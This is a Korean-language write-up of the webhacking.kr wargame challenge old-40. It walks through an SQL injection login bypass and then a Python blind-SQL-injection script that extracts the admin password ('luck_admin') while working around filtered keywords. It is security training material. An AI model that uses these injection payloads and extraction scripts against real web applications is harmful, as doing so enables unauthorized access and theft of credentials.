> For the complete documentation index, see [llms.txt](https://donghyunlee.gitbook.io/write-up/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://donghyunlee.gitbook.io/write-up/wargame/webhacking.kr/old-40-500.md).

# old-40 (500)

첫 화면이다.

![](https://4149640791-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LybinW10qeKqY56a-jw%2F-M1xUmcTX2wowi0F5siB%2F-M1xV5BWbAOD9D1EZTCN%2Fimage.png?alt=media\&token=54d95047-55c2-4973-932c-149fbaef6673)

그대로 login 버튼을 누르면 아래와 같은 창이 뜬다.

![](https://4149640791-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LybinW10qeKqY56a-jw%2F-M1xV71lD1BlQDCh_ePu%2F-M1xWA0AQ6qB7NHUvVr7%2Fimage.png?alt=media\&token=143809e4-0425-4b91-b226-d56a9baa6860)

값들이 GET 방식으로 전달된다.

no, id, pw 값에 각각 `1#` , `guest#` , `guest#` 를 넣고 결과를 확인하면 no 값에 `1#` 을 넣었을 때만 Success가 뜬다.

쿼리문에서 순서가 id, pw, no 혹은 pw, id, no 인 것으로 유추했다.

아래와 같이 no 값에 `0||no=2&&id=0x61646d696e` 을 넣은 후 제출한다. `0x61646d696e` 은 `admin` 의 hex 값이다.

![](https://4149640791-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LybinW10qeKqY56a-jw%2F-M1xccHIJZVRJCFuW8W5%2F-M1xchQtoTp_U7p6Ja3O%2Fimage.png?alt=media\&token=e6d4ca2e-7f35-45c5-9f1a-9f296c91da7d)

새로운 창이 뜬다.

![](https://4149640791-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LybinW10qeKqY56a-jw%2F-M1xccHIJZVRJCFuW8W5%2F-M1xclL4P5d_IbqsgW7S%2Fimage.png?alt=media\&token=7261a70a-ecd9-4931-ba0d-0fc5b99c7782)

 password를 얻기 위한 파이썬 코드를 짜면 아래와 같다. `ord` , `ascii` , `or`  등은 필터링 되어 이를 고려하여 짰다.

```python
import requests
import string

URL = 'https://webhacking.kr/challenge/web-29/?'
TRUE_PHRASE = 'admin password : '


def query(payload):
    r = requests.get(URL + payload)
    content = r.text
    return TRUE_PHRASE in content


# 10
def find_pw_length():
    pw_len = 1
    while query("no=0||no=2%26%26length(pw)={}&id=guest&pw=guest".format(pw_len)) is False:
        pw_len += 1
    print('pw_len: {}'.format(pw_len))
    return pw_len


# luck_admin
def find_pw():
    pw_len = find_pw_length()
    pw = ''
    for pos in range(1, pw_len + 1):
        for character in string.printable:
            if query("no=0||no=2%26%26substr(pw,{},1)={}&id=guest&pw=guest".format(pos, hex(ord(character)))) is True:
                pw += character
                break
    print('pw: {}'.format(pw))


find_pw()
```

실행결과, password 값은 `luck_admin` 이다.

폼에 `luck_admin` 을 넣고 제출하면 문제가 풀린다.

![](https://4149640791-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LybinW10qeKqY56a-jw%2F-M1xhbvhpHk9l46Qfon4%2F-M1xhs_Td_IGactqemYT%2Fimage.png?alt=media\&token=643bc09a-4e78-45d3-90fd-8a6bcc2911dd)